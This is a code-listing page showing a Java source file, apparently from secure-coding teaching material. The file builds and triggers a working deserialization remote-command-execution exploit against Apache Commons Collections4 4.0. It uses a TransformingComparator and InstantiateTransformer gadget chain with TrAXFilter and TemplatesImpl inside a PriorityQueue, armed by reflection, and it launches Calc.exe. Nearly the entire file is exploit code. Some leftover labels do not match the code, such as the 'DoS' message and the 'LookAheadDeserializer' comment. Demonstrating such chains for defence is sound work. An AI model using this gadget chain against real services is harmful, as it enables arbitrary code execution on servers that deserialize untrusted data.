ser05j.RCE.java Source code

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Here is the source code for ser05j.RCE.java

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// The MIT License (MIT)
//
// Copyright (c) 2017 Robert C. Seacord
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.

package ser05j;

import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.util.PriorityQueue;

public class RCE {

    private static byte[] serialize(Object o) throws IOException {
        try (ByteArrayOutputStream ba = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(ba)) {
            oos.writeObject(o);
            return ba.toByteArray();
        }
    }

    /**
     * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
     *
     * @throws Exception for <i>everything</i>.
     * @return a byte array containing the serialized queue
     */
    private static byte[] RCEpayload() throws Exception {

        Object templates = Gadgets.createTemplatesImpl("Calc.exe");
        // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

        ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

        // mock method name until armed
        Class<?>[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

        // grab defensively copied arrays
        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

        @SuppressWarnings("unchecked")
        Transformer<Object, Object> chain = new ChainedTransformer<Object>(
                new Transformer[] { constant, instantiate });

        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
        queue.add(1);
        queue.add(1);

        // swap in values to arm
        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;

        return serialize(queue);
    }

    private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException {
        Object obj;
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            obj = ois.readObject();
        }
        return obj;
    }

    public static void main(String[] args) {
        try {
            @SuppressWarnings("unused")
            Object obj = deserialize(RCEpayload());
            System.out.println("DoS has been deserialized.");
        } catch (@SuppressWarnings("unused") Exception e) {
            // Exceptions can be eliminated by wrapping PriorityQueue
            // in a Callable with a custom security manager
        }
    } // end main
} // end LookAheadDeserializer